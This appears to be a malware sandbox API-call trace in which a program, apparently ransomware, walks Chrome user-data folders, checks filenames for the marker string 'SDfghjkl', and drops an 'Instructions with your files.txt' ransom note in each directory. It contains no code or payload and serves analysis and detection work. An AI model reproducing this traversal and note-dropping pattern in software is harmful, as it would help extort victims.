[0130.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.409] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\.") returned 98
[0130.409] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.409] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\..") returned 99
[0130.409] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1
[0130.409] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned 134
[0130.409] GetProcessHeap () returned 0x810000
[0130.409] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.409] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*") returned 136
[0130.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.410] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\.") returned 136
[0130.410] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.410] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\..") returned 137
[0130.410] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1
[0130.410] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 150
[0130.410] StrStrIW (lpFirst="Google Docs.ico", lpSrch="SDfghjkl") returned 0x0
[0130.410] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 1
[0130.411] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 154
[0130.411] StrStrIW (lpFirst="Google Docs.ico.md5", lpSrch="SDfghjkl") returned 0x0
[0130.411] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 0
[0130.411] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Instructions with your files.txt") returned 167
[0130.411] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.413] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.414] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.414] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.414] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.414] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.414] CloseHandle (hObject=0x128) returned 1
[0130.414] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.414] GetProcessHeap () returned 0x810000
[0130.414] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.415] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 0
[0130.415] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\Instructions with your files.txt") returned 129
[0130.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.415] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.416] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.416] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.416] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.416] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.416] CloseHandle (hObject=0x124) returned 1
[0130.416] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.416] GetProcessHeap () returned 0x810000
[0130.416] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.416] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1
[0130.416] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 88
[0130.416] StrStrIW (lpFirst="Web Data", lpSrch="SDfghjkl") returned 0x0
[0130.416] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d608d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 1
[0130.416] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 96
[0130.416] StrStrIW (lpFirst="Web Data-journal", lpSrch="SDfghjkl") returned 0x0
[0130.417] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d608d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 0
[0130.417] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Instructions with your files.txt") returned 112
[0130.417] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.417] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.418] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.418] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.418] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.418] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.418] CloseHandle (hObject=0x120) returned 1
[0130.418] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.420] GetProcessHeap () returned 0x810000
[0130.420] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.420] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1
[0130.420] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 83
[0130.420] GetProcessHeap () returned 0x810000
[0130.420] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.421] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*") returned 85
[0130.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.422] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\.") returned 85
[0130.422] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.422] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\..") returned 86
[0130.422] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.422] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Instructions with your files.txt") returned 116
[0130.422] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.422] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.423] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.423] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.423] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.424] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.424] CloseHandle (hObject=0x120) returned 1
[0130.424] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.424] GetProcessHeap () returned 0x810000
[0130.424] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.424] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1
[0130.424] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 88
[0130.424] GetProcessHeap () returned 0x810000
[0130.424] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.424] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*") returned 90
[0130.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.424] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\.") returned 90
[0130.424] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.424] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\..") returned 91
